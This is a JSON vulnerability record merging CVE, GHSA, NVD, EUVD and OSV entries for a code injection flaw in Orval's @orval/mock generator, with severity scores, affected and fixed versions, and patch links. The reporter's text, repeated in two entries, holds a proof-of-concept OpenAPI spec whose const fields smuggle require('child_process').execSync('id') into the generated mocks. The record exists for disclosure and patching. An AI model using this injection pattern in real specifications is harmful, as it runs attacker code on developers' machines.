{"id":"CVE-2026-24132","aliases":["EUVD-2026-3783","GHSA-f456-rf33-4626"],"status":"published","title":"Orval Mock Generation Code Injection via const","description":"Orval generates type-safe JS clients (TypeScript) from any valid OpenAPI v3 or Swagger v2 specification. Versions \n7.19.0 and below and 8.0.0-rc.0 through 8.0.2 allow untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript into generated mock files via the const keyword on schema properties. These const values are interpolated into the mock scalar generator (getMockScalar in packages/mock/src/faker/getters/scalar.ts) without proper escaping or type-safe serialization, which results in attacker-controlled code being emitted into both interface definitions and faker/MSW handlers. The vulnerability is similar in impact to the previously reported enum x-enumDescriptions (GHSA-h526-wf6g-67jv), but it affects a different code path in the faker-based mock generator rather than @orval/core. The issue has been fixed in versions 7.20.0 and 8.0.3.","severity":{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00743,"percentile":0.55194,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-77","CWE-94"],"published":"2026-01-22T18:09:13Z","modified":"2026-10-28T02:30:32Z","fixes":[{"ecosystem":"npm","package":"@orval/mock","fixed_in":["7.20.0","8.0.3"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@orval/mock","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.20.0"}]}]},{"source":"ghsa","ecosystem":"npm","package":"@orval/mock","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-rc.0"},{"fixed":"8.0.3"}]}]},{"source":"osv","ecosystem":"npm","package":"@orval/mock","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.20.0"}]}]},{"source":"osv","ecosystem":"npm","package":"@orval/mock","ranges":[{"type":"SEMVER","events":[{"introduced":"8.0.0-rc.0"},{"fixed":"8.0.3"}]}]}],"products":[{"vendor":"orval","product":"orval"},{"vendor":"orval-labs","product":"orval"}],"references":[{"url":"https://github.com/orval-labs/orval/security/advisories/GHSA-f456-rf33-4626","tags":["x_refsource_CONFIRM","Vendor Advisory","advisory","web"]},{"url":"https://github.com/orval-labs/orval/pull/2828","tags":["x_refsource_MISC","Issue Tracking","Patch","fix","web"]},{"url":"https://github.com/orval-labs/orval/pull/2829","tags":["x_refsource_MISC","Issue Tracking","Patch","fix","web"]},{"url":"https://github.com/orval-labs/orval/pull/2830","tags":["x_refsource_MISC","Issue Tracking","Patch","fix","web"]},{"url":"https://github.com/orval-labs/orval/commit/44ca8c1f5f930a3e4cefb6b79b38bcde7f8532a5","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/orval-labs/orval/commit/6d8ece07ccb80693ad43edabccb3957aceadcd06","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/orval-labs/orval/commit/9b211cddc9f009f8a671e4ac5c6cb72cd8646b62","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/orval-labs/orval/releases/tag/v7.20.0","tags":["x_refsource_MISC","Product","Release Notes","web"]},{"url":"https://github.com/orval-labs/orval/releases/tag/v8.0.3","tags":["x_refsource_MISC","Product","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24132","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-f456-rf33-4626"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/24xxx/CVE-2026-24132.json","tags":["advisory"]},{"url":"https://github.com/orval-labs/orval","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-24132","title":"Orval Mock Generation Code Injection via const","description":"Orval generates type-safe JS clients (TypeScript) from any valid OpenAPI v3 or Swagger v2 specification. Versions \n7.19.0 and below and 8.0.0-rc.0 through 8.0.2 allow untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript into generated mock files via the const keyword on schema properties. These const values are interpolated into the mock scalar generator (getMockScalar in packages/mock/src/faker/getters/scalar.ts) without proper escaping or type-safe serialization, which results in attacker-controlled code being emitted into both interface definitions and faker/MSW handlers. The vulnerability is similar in impact to the previously reported enum x-enumDescriptions (GHSA-h526-wf6g-67jv), but it affects a different code path in the faker-based mock generator rather than @orval/core. The issue has been fixed in versions 7.20.0 and 8.0.3.","status":"published","published":"2026-01-22T23:47:45.846Z","modified":"2026-01-23T20:01:12.356Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T14:19:50.92611Z"}],"euvd":[{"id":"EUVD-2026-3783","description":"Orval generates type-safe JS clients (TypeScript) from any valid OpenAPI v3 or Swagger v2 specification. Versions \n7.19.0 and below and 8.0.0-rc.0 through 8.0.2 allow untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript into generated mock files via the const keyword on schema properties. These const values are interpolated into the mock scalar generator (getMockScalar in packages/mock/src/faker/getters/scalar.ts) without proper escaping or type-safe serialization, which results in attacker-controlled code being emitted into both interface definitions and faker/MSW handlers. The vulnerability is similar in impact to the previously reported enum x-enumDescriptions (GHSA-h526-wf6g-67jv), but it affects a different code path in the faker-based mock generator rather than @orval/core. The issue has been fixed in versions 7.20.0 and 8.0.3.","status":"published","published":"2026-01-22T23:47:45Z","modified":"2026-01-23T20:01:12Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T19:48:47.68467Z"}],"ghsa":[{"id":"GHSA-f456-rf33-4626","title":"Orval Mock Generation Code Injection via const","description":"I am reporting a code injection vulnerability in Orval’s mock generation pipeline affecting @orval/mock in both the 7.x and 8.x series. This issue is related in impact to the previously reported enum x-enumDescriptions (https://github.com/advisories/GHSA-h526-wf6g-67jv), but it affects a different code path in the faker-based mock generator rather than @orval/core.\n\nThe vulnerability allows untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript into generated mock files via the const keyword on schema properties. These const values are interpolated into the mock scalar generator (getMockScalar in packages/mock/src/faker/getters/scalar.ts) without proper escaping or type-safe serialization, which results in attacker-controlled code being emitted into both interface definitions and faker/MSW handlers. I have confirmed that this occurs on orval@7.19.0 and orval@8.0.2 with mock: true, and that the generated mocks contain executable payloads such as require('child_process').execSync('id') in the output TypeScript.\n\n```yaml\nopenapi: 3.1.0\ninfo:\n  title: Mock Const Injection PoC\n  version: 1.0.0\npaths:\n  /test:\n    get:\n      operationId: getTests\n      responses:\n        '200':\n          description: OK\n          content:\n            application/json:\n              schema:\n                $ref: '#/components/schemas/Tests'\ncomponents:\n  schemas:\n    Tests:\n      type: object\n      properties:\n        EvilString:\n          type: string\n          const: \"'); require('child_process').execSync('id'); //\"\n        EvilNumber:\n          type: number\n          const: \"0); require('child_process').execSync('id'); //\"\n        SafeEnum:\n          type: string\n          enum: [\"test\"]\n\n```","status":"published","published":"2026-01-22T18:09:13Z","modified":"2026-02-27T22:18:35Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-77","CWE-94"],"updated_at":"2026-11-02T14:39:28.962954Z"}],"nvd":[{"id":"CVE-2026-24132","description":"Orval generates type-safe JS clients (TypeScript) from any valid OpenAPI v3 or Swagger v2 specification. Versions \n7.19.0 and below and 8.0.0-rc.0 through 8.0.2 allow untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript into generated mock files via the const keyword on schema properties. These const values are interpolated into the mock scalar generator (getMockScalar in packages/mock/src/faker/getters/scalar.ts) without proper escaping or type-safe serialization, which results in attacker-controlled code being emitted into both interface definitions and faker/MSW handlers. The vulnerability is similar in impact to the previously reported enum x-enumDescriptions (GHSA-h526-wf6g-67jv), but it affects a different code path in the faker-based mock generator rather than @orval/core. The issue has been fixed in versions 7.20.0 and 8.0.3.","status":"published","published":"2026-01-23T00:15:52.403Z","modified":"2026-06-17T10:22:40.997Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-77","CWE-94"],"updated_at":"2026-11-02T14:12:04.423757Z"}],"osv":[{"id":"CVE-2026-24132","title":"Orval Mock Generation Code Injection via const","description":"Orval generates type-safe JS clients (TypeScript) from any valid OpenAPI v3 or Swagger v2 specification. Versions \n7.19.0 and below and 8.0.0-rc.0 through 8.0.2 allow untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript into generated mock files via the const keyword on schema properties. These const values are interpolated into the mock scalar generator (getMockScalar in packages/mock/src/faker/getters/scalar.ts) without proper escaping or type-safe serialization, which results in attacker-controlled code being emitted into both interface definitions and faker/MSW handlers. The vulnerability is similar in impact to the previously reported enum x-enumDescriptions (GHSA-h526-wf6g-67jv), but it affects a different code path in the faker-based mock generator rather than @orval/core. The issue has been fixed in versions 7.20.0 and 8.0.3.","status":"published","published":"2026-01-22T23:47:45.846Z","modified":"2026-10-28T02:30:32.219562072Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T15:44:59.079784Z"},{"id":"GHSA-f456-rf33-4626","title":"Orval Mock Generation Code Injection via const","description":"I am reporting a code injection vulnerability in Orval’s mock generation pipeline affecting @orval/mock in both the 7.x and 8.x series. This issue is related in impact to the previously reported enum x-enumDescriptions (https://github.com/advisories/GHSA-h526-wf6g-67jv), but it affects a different code path in the faker-based mock generator rather than @orval/core.\n\nThe vulnerability allows untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript into generated mock files via the const keyword on schema properties. These const values are interpolated into the mock scalar generator (getMockScalar in packages/mock/src/faker/getters/scalar.ts) without proper escaping or type-safe serialization, which results in attacker-controlled code being emitted into both interface definitions and faker/MSW handlers. I have confirmed that this occurs on orval@7.19.0 and orval@8.0.2 with mock: true, and that the generated mocks contain executable payloads such as require('child_process').execSync('id') in the output TypeScript.\n\n```yaml\nopenapi: 3.1.0\ninfo:\n  title: Mock Const Injection PoC\n  version: 1.0.0\npaths:\n  /test:\n    get:\n      operationId: getTests\n      responses:\n        '200':\n          description: OK\n          content:\n            application/json:\n              schema:\n                $ref: '#/components/schemas/Tests'\ncomponents:\n  schemas:\n    Tests:\n      type: object\n      properties:\n        EvilString:\n          type: string\n          const: \"'); require('child_process').execSync('id'); //\"\n        EvilNumber:\n          type: number\n          const: \"0); require('child_process').execSync('id'); //\"\n        SafeEnum:\n          type: string\n          enum: [\"test\"]\n\n```","status":"published","published":"2026-01-22T18:09:13Z","modified":"2026-02-28T06:27:01.410338Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-77","CWE-94"],"updated_at":"2026-11-02T15:46:46.006631Z"}]}}